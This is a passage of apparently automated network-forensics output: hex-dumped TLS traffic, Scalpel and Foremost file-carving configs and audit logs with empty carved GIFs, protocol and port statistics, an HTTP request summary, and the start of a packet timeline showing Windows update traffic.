c8 95 cf ca 66 44 c8 46 59 44 8e a4 98 d8 4c f2 e6 db e8 6d 71 f5 8e 66 73 83 5a d4 88 a5 24 8d 17 09 8a 91 1e 2c 99 48 7b 8e 9d 0a ce 02 c3 b4 a3 91 53 cd 77 ed 33 a3 fa 72 5b e8 1b 11 a2 a5 ea 94 e9 b5 3e 54 c4 15 71 8f e4 24 40 7a 3b ae 2e d3 50 e5 5f 2c 34 e6 91 c9 31 e0 71 05 9c 71 0a 3d 7c 81 13 c5 0c f2 1a 9a 47 43 a1 2e 08 c6 a5 73 9d 82 49 a3 c3 78 0c e7 59 2a d1 56 6e 84 02 4f a9 88 8c d4 d0 a7 ab c0 8d e6 ec 93 9c d3 a7 e2 69 cd 67 b1 05 a7 94 49 19 16 70 1a f2 37 86 7c 51 69 a3 fd a0 1e f7 30 47 62 61 5a 96 dc ea b8 85 9c 1e a6 a0 93 42 db 93 2a 8a c6 3c e3 5d 2b ad ef 35 ea ec 63 c3 b3 95 07 35 d0 92 6c 89 43 39 8c b0 28 e7 e1 5e e3 c7 04 23 fe eb 50 c9 c8 3d 73 99 5d f9 bd 81 49 90 1f 1a f6 e6 97 77 54 0f 66 6a 2c 2f 40 67 ea 6d 4e 1d 3e 9d 91 da 4c db 9f dc 9f fc a8 00 1c 3a 52 4c 12 15 7a 21 f0 04 b9 96 eb f8 b8 bc 18 83 4a 4c 51 cd a1 0b 01 2b d0 0c d2 67 4f c1 ad 56 96 70 f4 99 ce 8d 33 31 27 fe 9c b5 30 e0 16 b0 61 30 47 80 4e e6 ce 69 88 06 7f 39 1d f9 bb fb df 09 13 45 a8 72 82 c4 90 f7 49 4a 5a a0 8f 21 ef 66 71 87 90 ea 72 bf f0 98 68 1f 29 2a f4 34 d6 bf 0f dd 1b 41 76 a4 0b 15 53 8b e9 8f 3f 7e 12 89 4a c2 81 7c 54 46 21 45 d6 e9 74 23 17 d7 2e fb a0 3e a1 29 df 89 30 d7 ca 60 7b 13 c5 09 d9 5c a9 43 94 6b 10 09 4b 57 cb 1f 3a 3a 10 dc 02 3f f6 09 57 1a 7a 91 c1 e8 e9 55 6e 55 53 10 f8 62 7e 67 0a 43 b3 e0 56 97 d2 92 e0 16 9f 99 15 b8 78 04 2b 0f b5 cd 0d 15 24 69 58 69 86 c9 da d2 49 0e 82 97 26 c2 b3 d5 7d 3f 62 2d 42 24 59 ea ce db 89 2c c6 a8 51 d2 a5 89 e6 af 35 f6 15 45 be a7 3a 6d 74 e6 59 da a7 9f 75 c9 73 81 70 b9 4a 64 ff 0e 1a 06 0f c1 7c 52 3d ce c8 92 36 e7 d7 54 98 31 b9 6f 44 e7 7e ee 09 97 3a d1 fd b1 6b 85 b8 ed a5 29 50 64 66 9c 3a 33 64 5c bf 66 ae 0f a8 2b 1c ac 6a b8 65 e3 44 03 9a 11 5b 17 f0 fe ff 78 17 73 fe d6 b7 fa 04 77 b8 8e f5 c5 e3 26 6e 85 f0 df f8 f2 a5 90 31 b6 38 83 e3 74 8a 84 68 94 7a 41 bd a5 93 d5 df 18 d2 66 0b 73 bb 4f 15 f7 5e ec 80 24 3b 7a b1 02 37 7f 0f 44 a6 1e 8a e0 e7 4c e7 02 0f 49 4f 79 33 b5 cd 71 da 73 a8 cd a1 f2 27 22 6d f1 1c 81 d8 22 df 24 8c ed 32 f9 56 c2 82 34 1f b1 23 54 14 ff 3c d8 cf 27 c3 26 ab b5 d1 ac 67 0f 1c 45 11 88 78 25 8e ba e4 7e e2 14 2c f7 03 dd d7 23 0f 71 d1 17 03 03 00 d2 00 00 00 00 00 00 00 04 b6 1f 55 72 e4 70 06 b5 e4 ff 31 50 21 71 bf 20 29 d2 08 ef 74 c8 74 26 50 71 eb 4b a5 12 5f e5 9c 3f 41 5d b8 0e 97 be 11 6c 6a 05 43 aa 38 f1 27 d9 94 0e e6 58 98 46 7c 5c 45 7b ae 8a d3 3c d9 e7 d3 80 68 b2 1f d5 7c 11 8d bc 44 44 5e 03 6d fd a2 36 b3 a8 eb 54 cd 19 1f ce bb 36 76 92 48 b6 f4 d9 37 a2 f2 28 cc 1a 0b d0 b9 fa 2f 84 5b 3d 5e 42 6f 3d c4 98 b0 a8 cd a5 07 35 9b 9d 66 db fb 18 43 c1 de 47 0c 60 00 f2 98 c6 a3 49 21 ef 85 2e 08 b0 78 b4 de 8c 6b 61 41 69 ad af 95 c0 8d e3 03 3f bd 97 24 c8 0d b2 ef 79 c4 6b 07 0a 86 25 57 b2 a2 98 c4 8d d2 37 56 74 e1 0a 3e a7 b8 71 51 c6 a6 87 a4 c4 17 03 03 00 21 00 00 00 00 00 00 00 05 70 51 16 e2 b4 f6 ff 57 e5 92 2a 4d df 84 b5 06 a6 95 cc e3 36 e4 02 e3 71 17 03 03 02 b4 00 00 00 00 00 00 00 06 a0 82 6e c6 46 b5 34 4e 8b e0 c9 b2 f0 cc 25 20 f2 e2 f8 02 52 f0 ac 4f 08 c8 e4 4b 5b cb ee 59 8d e1 5f 88 a2 a2 24 9c 56 38 7a 0d 11 bd 14 19 9e f6 28 d2 e7 23 aa 37 c2 48 31 51 3f 13 94 f0 11 9f 3f a3 5a 73 c9 9c 3d df 5a 70 3c 31 bf 24 23 3d 81 0e 1b 32 58 19 61 27 ab 25 a1 92 65 aa e9 5d 9e df e2 5c 90 05 e7 a6 4d 29 db a2 14 3a 31 4a b4 b6 6d 0c de 9e 1c 34 35 e2 5d 04 c8 f9 5b c3 9b 0e 44 33 59 fd e6 6b a5 b8 57 89 ea 85 8b f3 74 4e 92 5d 4f e0 44 a6 3f ff 2c 68 0d 20 97 12 d3 a2 35 0a 2c fc 61 01 0f 3a 1b 99 21 4e df 52 45 08 59 ba fd 6a 42 a8 4f 69 50 c2 69 fc c7 11 3e 3b 57 9d 0d da 5a e3 f0 c0 52 9c 72 71 b8 50 f3 69 0e d0 bb 81 91 81 55 30 00 3e be 56 95 a4 61 97 ff 34 8a 61 ad 42 6d 7f 60 be fc c9 9f 12 b1 77 4d 28 1a 41 9f 77 c9 14 ed 4e 0f 41 a3 0a f5 97 ab 5f 23 be 2f 43 53 ff ad 4e 21 c7 f5 b8 39 fb fb 24 10 5c 2d 8e 87 07 cc 38 e4 b5 13 4d df 71 6b 05 98 d3 e6 8e d2 3a 42 81 4e 30 d2 99 f3 3b 71 36 dd d9 ff b7 f6 c9 63 3d 06 a9 01 b1 85 80 6d 07 27 51 e5 73 d7 1d ce 91 90 a8 6e 10 9b 6a d3 41 4f 52 f1 40 78 7b ed 56 02 13 68 2a ce 3a d9 1e d7 6e e9 03 58 69 81 13 b4 da ee 15 d3 51 48 37 15 54 27 96 06 61 4c c9 be 27 57 7c 43 c8 0c c6 2e af c3 16 66 7d 99 40 d9 d2 f1 b8 4f 0f bc b5 36 34 a0 ea 01 9e 6b e0 69 ea 42 f0 c7 c7 5d b8 24 1d 02 49 de 41 fb 42 00 dd 3b d7 c6 02 9a e6 39 37 03 d4 6f c7 72 b6 1f 59 c4 62 e2 bd 95 bd 6a 34 f0 8f 0f 76 2d 20 3e 74 39 aa 83 47 ee 20 62 da fb f9 97 6b f7 cd fa f0 0e 75 fd 80 6e c8 9d 75 70 bd e3 37 65 34 3d e0 ac 0d dd 58 28 bb c7 21 89 4a 5f 45 58 6d fe e0 e6 b9 5a 79 00 44 6e 51 24 0a e7 94 fa 22 2c 97 42 68 e5 da cf 6b 36 88 55 b1 81 21 2b 21 f1 6f d9 7b 57 78 3e 94 ba 54 bb 1b 7d 6a 79 5a 53 93 d2 9c 21 0b be 1f 8d 6b e7 c4 20 74 df da 48 a7 cc 3e 8a 16 bf 28 93 35 84 02 d5 90 b7 75 54 38 aa ad 4b b1 ce eb 28 72 1a b5 48 3b 53 11 10 bb 01 41 6a a7 45 81 50 a2 33 89 b0 9f 12 ca eb af e6 20 d3 fd 14 3b 61 6a f7 19 17 8a 97 5f b6 b0 e5 1f 82 fd 4b 70 c2 59 f6 a7 25 03 6d 9c 04 66 a4 d7 5d 85 a4 eb 70 c2 cf 68 45 15 34 af 8d b5 5f dd 7c c0 8b 46 2f e8 ae e4 6a 46 17 03 03 02 70 00 00 00 00 00 00 00 07 3d f0 73 7c 59 cc 21 c1 af 7f 74 cc c9 b5 b8 b7 53 6f 77 3b 58 6a 51 66 ea cd 71 b0 65 61 ed df d3 ed bc 31 00 5b b7 a8 4e 90 46 78 c1 40 77 f5 50 09 94 0a 97 23 df 96 ce f9 4a 0a 67 f0 5e e0 dc c8 0c 37 fd 08 3a 88 cf 49 31 f9 ed 1e fe da 6c 65 c7 17 0a 38 b7 4b 43 23 74 07 1f 29 d8 06 f0 69 f4 6e 63 87 fa c3 5b 1d a3 0e 0e fe 81 d5 17 26 70 06 ab 07 ee b9 a0 ba ae 3e 78 12 27 96 e8 60 79 70 64 a0 d5 cb a9 00 6f 6e 0a 7c 85 a6 c8 e6 82 80 74 b1 b9 2f 14 e9 fb 64 b2 3b 53 9c 93 81 18 d3 3b bd 06 9c 2e 0c 8c 9a 83 3c 16 70 65 9e 8e 7e 48 47 67 4d 44 81 b4 a7 28 07 06 74 b5 3b dd ff 89 8e d8 57 cf 1e a7 17 65 1d 28 8f c9 40 fa 2b 01 e7 41 ab 10 fb cc b3 f3 6e 47 ca bd 85 8b 36 78 61 6d 14 40 a7 0f 8c af 97 04 b9 f5 4e 7b be f9 8c 78 6a f9 a7 39 a5 4f 0a 37 bc 31 48 39 51 a2 d5 f9 13 1c 2b 0c ed 68 3d 50 2d fd 89 6d aa ca 10 f6 b3 df 72 8d 75 55 71 6a c4 0f 5f 0e 88 8a eb 6e 5d 4c 74 09 2d 26 4e 80 b8 0d b2 a2 5b 36 d0 5c f9 b5 6d 87 89 25 9e c4 6c 12 40 47 31 52 23 fb a1 dc 61 59 80 5b dd ca e0 77 0b 58 86 ea ad f8 ab 52 a8 8e bc ac 24 10 c3 02 16 37 b1 fd c9 5e c1 0f 42 3c 28 73 fd 08 db 8c bf 34 c3 f8 90 08 29 b7 4c 62 77 5b 60 60 8c 51 ea f9 bf db 59 83 a2 2b 67 61 b1 7b cf b9 cf a8 bb 6e 13 5a 0b 83 5b 6e 8a d0 ce 3a f5 f4 54 83 40 1d 5f c8 79 c0 63 53 c8 6e 13 82 27 e9 bd 53 49 a8 ed 9e 92 f7 17 30 4a 96 b3 da d5 60 cd da fd 76 3b 8e 27 35 d1 5d da e2 96 01 03 ec b4 26 02 9c 5b 38 24 e8 fc a8 9f 49 64 b5 24 a7 fa e5 ca 86 a5 3c 48 eb a8 7f 30 ca 69 a5 86 b4 b5 1f 4a 07 e1 35 47 c3 37 b2 cd 48 1c 2e 7b 1f 54 73 eb 12 d6 13 4f da 8a e4 59 ac 90 d6 3b d6 82 77 4f 74 58 40 5f 77 32 a9 c3 d9 1c cd 07 b0 27 3c 0c 4d a7 23 8a 89 2b c4 42 4d 55 15 5e 5c 1e 4f 0c 05 ed 0f d7 1d 0f 53 35 e1 39 c1 39 b9 86 f3 27 5e 24 b2 f0 71 11 bc 01 de 36 d2 a0 bd f4 a9 9c 47 a9 89 b9 3c c0 db 69 e6 09 7c 26 42 f5 74 51 45 d3 29 6a 8d c3\n2026-06-14T20:09:38.871097,Tool:tmpgwhzrm01/carved,Unknown,0,Unknown,0,HTTP,scalpel.conf,conf,/tmp/tmpgwhzrm01/carved/scalpel.conf,796,a2da2c51920b2a2338daac52dc8f3894,35fa9929898a9ad0b97ddb04fb3b9b8cc0295a9e38cc7463922f86fa92d7c165,3.97,\" Scalpel Configuration Generated by Network Analyzer,  ext      case  header          footer,  Graphics, jpg        y     , x10   , jpg        y     , xe1           , png        y     , x0a   , gif        y     , x61   , gif        y     , x61   ,  Documents, pdf        y     , x46           , zip        y     , x04           ,  Executables, exe        y     , x5a                   REVERSE, elf        y     , x46           REVERSE,  Multimedia, mp3        y     , x33                , mp4        y     , x70 REVERSE,         \",0a 23 20 53 63 61 6c 70 65 6c 20 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 47 65 6e 65 72 61 74 65 64 20 62 79 20 4e 65 74 77 6f 72 6b 20 41 6e 61 6c 79 7a 65 72 0a 23 20 65 78 74 20 20 20 20 20 20 63 61 73 65 20 20 68 65 61 64 65 72 20 20 20 20 20 20 20 20 20 20 66 6f 6f 74 65 72 0a 0a 23 20 47 72 61 70 68 69 63 73 0a 6a 70 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 66 66 5c 78 64 38 5c 78 66 66 5c 78 65 30 5c 78 30 30 5c 78 31 30 20 20 20 5c 78 66 66 5c 78 64 39 0a 6a 70 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 66 66 5c 78 64 38 5c 78 66 66 5c 78 65 31 20 20 20 20 20 20 20 20 20 20 20 5c 78 66 66 5c 78 64 39 0a 70 6e 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 38 39 5c 78 35 30 5c 78 34 65 5c 78 34 37 5c 78 30 64 5c 78 30 61 5c 78 31 61 5c 78 30 61 20 20 20 5c 78 34 39 5c 78 34 35 5c 78 34 65 5c 78 34 34 5c 78 61 65 5c 78 34 32 5c 78 36 30 5c 78 38 32 0a 67 69 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 37 5c 78 34 39 5c 78 34 36 5c 78 33 38 5c 78 33 37 5c 78 36 31 20 20 20 5c 78 30 30 5c 78 33 62 0a 67 69 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 37 5c 78 34 39 5c 78 34 36 5c 78 33 38 5c 78 33 39 5c 78 36 31 20 20 20 5c 78 30 30 5c 78 33 62 0a 0a 23 20 44 6f 63 75 6d 65 6e 74 73 0a 70 64 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 32 35 5c 78 35 30 5c 78 34 34 5c 78 34 36 20 20 20 20 20 20 20 20 20 20 20 5c 78 32 35 5c 78 34 35 5c 78 34 66 5c 78 34 36 5c 78 30 44 0a 7a 69 70 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 35 30 5c 78 34 62 5c 78 30 33 5c 78 30 34 20 20 20 20 20 20 20 20 20 20 20 5c 78 35 30 5c 78 34 62 5c 78 30 35 5c 78 30 36 0a 0a 23 20 45 78 65 63 75 74 61 62 6c 65 73 0a 65 78 65 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 64 5c 78 35 61 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 52 45 56 45 52 53 45 0a 65 6c 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 37 66 5c 78 34 35 5c 78 34 63 5c 78 34 36 20 20 20 20 20 20 20 20 20 20 20 52 45 56 45 52 53 45 0a 0a 23 20 4d 75 6c 74 69 6d 65 64 69 61 0a 6d 70 33 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 39 5c 78 34 34 5c 78 33 33 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 78 66 66 5c 78 66 62 0a 6d 70 34 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 30 30 5c 78 30 30 5c 78 30 30 5c 78 32 30 5c 78 36 36 5c 78 37 34 5c 78 37 39 5c 78 37 30 20 52 45 56 45 52 53 45 0a 20 20 20 20 20 20 20 20\n2026-06-14T20:09:38.876634,Tool:carved/scalpel,Unknown,0,Unknown,0,HTTP,audit.txt,txt,/tmp/tmpgwhzrm01/carved/scalpel/audit.txt,894,1a77e35c419f373ba018c2783e0213e3,664f8a368b12a30401a837a959809b704dfbfdbe7323fed658000ce4aadb8e87,4.80,\"Scalpel version 1.60 audit file, Started at Sun Jun 14 20:09:38 2026, Command line:, scalpel -c /tmp/tmpgwhzrm01/carved/scalpel.conf /tmp/filtered_9n8dre1u.pcap -o /tmp/tmpgwhzrm01/carved/scalpel , Output directory: /tmp/tmpgwhzrm01/carved/scalpel, Configuration file: /tmp/tmpgwhzrm01/carved/scalpel.conf, Opening target , /tmp/filtered_9n8dre1u.pcap, The following files were carved:, File,   Start, Chop, Length, Extracted From, 00000005.gif        55757, YES               0, filtered_9n8dre1u.pcap, 00000004.gif        35145, YES               0, filtered_9n8dre1u.pcap, 00000003.gif        24637, YES               0, filtered_9n8dre1u.pcap, 00000002.gif        55757, YES               0, filtered_9n8dre1u.pcap, 00000001.gif        35145, YES               0, filtered_9n8dre1u.pcap, 00000000.gif        24637, YES               0, filtered_9n8dre1u.pcap, Completed at Sun Jun 14 20:09:38 2026\",0a 53 63 61 6c 70 65 6c 20 76 65 72 73 69 6f 6e 20 31 2e 36 30 20 61 75 64 69 74 20 66 69 6c 65 0a 53 74 61 72 74 65 64 20 61 74 20 53 75 6e 20 4a 75 6e 20 31 34 20 32 30 3a 30 39 3a 33 38 20 32 30 32 36 0a 43 6f 6d 6d 61 6e 64 20 6c 69 6e 65 3a 0a 73 63 61 6c 70 65 6c 20 2d 63 20 2f 74 6d 70 2f 74 6d 70 67 77 68 7a 72 6d 30 31 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 2e 63 6f 6e 66 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 39 6e 38 64 72 65 31 75 2e 70 63 61 70 20 2d 6f 20 2f 74 6d 70 2f 74 6d 70 67 77 68 7a 72 6d 30 31 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 20 0a 0a 4f 75 74 70 75 74 20 64 69 72 65 63 74 6f 72 79 3a 20 2f 74 6d 70 2f 74 6d 70 67 77 68 7a 72 6d 30 31 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 0a 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 69 6c 65 3a 20 2f 74 6d 70 2f 74 6d 70 67 77 68 7a 72 6d 30 31 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 2e 63 6f 6e 66 0a 0a 4f 70 65 6e 69 6e 67 20 74 61 72 67 65 74 20 22 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 39 6e 38 64 72 65 31 75 2e 70 63 61 70 22 0a 0a 54 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 66 69 6c 65 73 20 77 65 72 65 20 63 61 72 76 65 64 3a 0a 46 69 6c 65 09 09 20 20 53 74 61 72 74 09 09 09 43 68 6f 70 09 09 4c 65 6e 67 74 68 09 09 45 78 74 72 61 63 74 65 64 20 46 72 6f 6d 0a 30 30 30 30 30 30 30 35 2e 67 69 66 20 20 20 20 20 20 20 20 35 35 37 35 37 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 39 6e 38 64 72 65 31 75 2e 70 63 61 70 0a 30 30 30 30 30 30 30 34 2e 67 69 66 20 20 20 20 20 20 20 20 33 35 31 34 35 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 39 6e 38 64 72 65 31 75 2e 70 63 61 70 0a 30 30 30 30 30 30 30 33 2e 67 69 66 20 20 20 20 20 20 20 20 32 34 36 33 37 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 39 6e 38 64 72 65 31 75 2e 70 63 61 70 0a 30 30 30 30 30 30 30 32 2e 67 69 66 20 20 20 20 20 20 20 20 35 35 37 35 37 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 39 6e 38 64 72 65 31 75 2e 70 63 61 70 0a 30 30 30 30 30 30 30 31 2e 67 69 66 20 20 20 20 20 20 20 20 33 35 31 34 35 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 39 6e 38 64 72 65 31 75 2e 70 63 61 70 0a 30 30 30 30 30 30 30 30 2e 67 69 66 20 20 20 20 20 20 20 20 32 34 36 33 37 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 39 6e 38 64 72 65 31 75 2e 70 63 61 70 0a 0a 0a 43 6f 6d 70 6c 65 74 65 64 20 61 74 20 53 75 6e 20 4a 75 6e 20 31 34 20 32 30 3a 30 39 3a 33 38 20 32 30 32 36 0a\n2026-06-14T20:09:38.866517,Tool:carved/foremost,Unknown,0,Unknown,0,HTTP,audit.txt,txt,/tmp/tmpgwhzrm01/carved/foremost/audit.txt,700,754b57df6dcee55f12902d2618e59404,c4d6d0fd2f6cfde531be98194634d5a209d4ff52932675a4863bfa64a7573d27,4.90,\"Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus, Audit File, Foremost started at Sun Jun 14 20:09:38 2026, Invocation: foremost -t all -i /tmp/filtered_9n8dre1u.pcap -o /tmp/tmpgwhzrm01/carved/foremost , Output directory: /tmp/tmpgwhzrm01/carved/foremost, Configuration file: /etc/foremost.conf, ------------------------------------------------------------------, File: /tmp/filtered_9n8dre1u.pcap, Start: Sun Jun 14 20:09:38 2026, Length: 56 KB (58064 bytes),  Name (bs, 512),        Size,  File Offset,  Comment , Finish: Sun Jun 14 20:09:38 2026, 0 FILES EXTRACTED, ------------------------------------------------------------------, Foremost finished at Sun Jun 14 20:09:38 2026\",46 6f 72 65 6d 6f 73 74 20 76 65 72 73 69 6f 6e 20 31 2e 35 2e 37 20 62 79 20 4a 65 73 73 65 20 4b 6f 72 6e 62 6c 75 6d 2c 20 4b 72 69 73 20 4b 65 6e 64 61 6c 6c 2c 20 61 6e 64 20 4e 69 63 6b 20 4d 69 6b 75 73 0a 41 75 64 69 74 20 46 69 6c 65 0a 0a 46 6f 72 65 6d 6f 73 74 20 73 74 61 72 74 65 64 20 61 74 20 53 75 6e 20 4a 75 6e 20 31 34 20 32 30 3a 30 39 3a 33 38 20 32 30 32 36 0a 49 6e 76 6f 63 61 74 69 6f 6e 3a 20 66 6f 72 65 6d 6f 73 74 20 2d 74 20 61 6c 6c 20 2d 69 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 39 6e 38 64 72 65 31 75 2e 70 63 61 70 20 2d 6f 20 2f 74 6d 70 2f 74 6d 70 67 77 68 7a 72 6d 30 31 2f 63 61 72 76 65 64 2f 66 6f 72 65 6d 6f 73 74 20 0a 4f 75 74 70 75 74 20 64 69 72 65 63 74 6f 72 79 3a 20 2f 74 6d 70 2f 74 6d 70 67 77 68 7a 72 6d 30 31 2f 63 61 72 76 65 64 2f 66 6f 72 65 6d 6f 73 74 0a 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 69 6c 65 3a 20 2f 65 74 63 2f 66 6f 72 65 6d 6f 73 74 2e 63 6f 6e 66 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 46 69 6c 65 3a 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 39 6e 38 64 72 65 31 75 2e 70 63 61 70 0a 53 74 61 72 74 3a 20 53 75 6e 20 4a 75 6e 20 31 34 20 32 30 3a 30 39 3a 33 38 20 32 30 32 36 0a 4c 65 6e 67 74 68 3a 20 35 36 20 4b 42 20 28 35 38 30 36 34 20 62 79 74 65 73 29 0a 20 0a 4e 75 6d 09 20 4e 61 6d 65 20 28 62 73 3d 35 31 32 29 09 20 20 20 20 20 20 20 53 69 7a 65 09 20 46 69 6c 65 20 4f 66 66 73 65 74 09 20 43 6f 6d 6d 65 6e 74 20 0a 0a 46 69 6e 69 73 68 3a 20 53 75 6e 20 4a 75 6e 20 31 34 20 32 30 3a 30 39 3a 33 38 20 32 30 32 36 0a 0a 30 20 46 49 4c 45 53 20 45 58 54 52 41 43 54 45 44 0a 09 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 46 6f 72 65 6d 6f 73 74 20 66 69 6e 69 73 68 65 64 20 61 74 20 53 75 6e 20 4a 75 6e 20 31 34 20 32 30 3a 30 39 3a 33 38 20 32 30 32 36 0a\n2026-06-14T20:09:38.876634,Tool:scalpel/gif-3-0,Unknown,0,Unknown,0,HTTP,00000000.gif,gif,/tmp/tmpgwhzrm01/carved/scalpel/gif-3-0/00000000.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-14T20:09:38.876634,Tool:scalpel/gif-3-0,Unknown,0,Unknown,0,HTTP,00000001.gif,gif,/tmp/tmpgwhzrm01/carved/scalpel/gif-3-0/00000001.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-14T20:09:38.876634,Tool:scalpel/gif-3-0,Unknown,0,Unknown,0,HTTP,00000002.gif,gif,/tmp/tmpgwhzrm01/carved/scalpel/gif-3-0/00000002.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-14T20:09:38.876634,Tool:scalpel/gif-4-0,Unknown,0,Unknown,0,HTTP,00000004.gif,gif,/tmp/tmpgwhzrm01/carved/scalpel/gif-4-0/00000004.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-14T20:09:38.876634,Tool:scalpel/gif-4-0,Unknown,0,Unknown,0,HTTP,00000003.gif,gif,/tmp/tmpgwhzrm01/carved/scalpel/gif-4-0/00000003.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-14T20:09:38.876634,Tool:scalpel/gif-4-0,Unknown,0,Unknown,0,HTTP,00000005.gif,gif,/tmp/tmpgwhzrm01/carved/scalpel/gif-4-0/00000005.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n","network_analysis_protocols.csv":"Protocol,Packets,Bytes,Packet %,Byte %\nTCP,130,53554,100.00%,100.00%\n","network_analysis_http_graph.csv":"Timestamp,Stream ID,Source IP,Destination IP,Method,Host,URL,Referer,User-Agent\n0,4,10.152.152.11,194.36.32.201,GET,194.36.32.201,http://194.36.32.201,None,Extracted via Decryption\n","network_analysis_ports.csv":"Port,Packets,Bytes,Packet %,Byte %\n443,119,48115,45.77%,44.92%\n64012,35,13673,13.46%,12.77%\n63963,30,9622,11.54%,8.98%\n64008,30,9606,11.54%,8.97%\n63942,24,15214,9.23%,14.20%\n64025,11,5439,4.23%,5.08%\n80,11,5439,4.23%,5.08%\n","packet_forensic_timeline.csv":"Timestamp_UTC,Packet_Num,Flow_ID,Src_IP,Dst_IP,Src_Port,Dst_Port,Protocol,Src_Country,Src_City,Src_ASN,Src_AS_Org,Src_Lat,Src_Lon,Src_Network,Dst_Country,Dst_City,Dst_ASN,Dst_AS_Org,Dst_Lat,Dst_Lon,Dst_Network,TCP_Flags,DNS_Query,HTTP_Url,Protocol_Stack,Layer_Depth,Description,Packet_Content(Hex),Packet_Content,Alerts,Complete_Dissection\n2026-06-14 14:28:34.004830,1,TCP 10.152.152.11:63942 -> 184.30.157.69:443,10.152.152.11,184.30.157.69,63942,443,TCP,Internal,Private Network,,,,,,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,S,,,Ether > IP > TCP,3,TCP S Seq=2473779193 Ack=0,bc24112907bbbc2411360d0c0800450000342faf40008006d30d0a98980bb81e9d45f9c601bb9372dff9000000008002faf00d2a0000020405b40103030801010402,\".$.)...$.6\n...E..4/.@....\n......E.....r..........\n*..............\",[TSHARK-OBJECT] windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json%3fcacheHostOrigin=download.windowsupdate.com,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 12207, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 54029, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"184.30.157.69\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63942, \"\"dport\"\": 443, \"\"seq\"\": 2473779193, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 3370, \"\"urgptr\"\": 0, 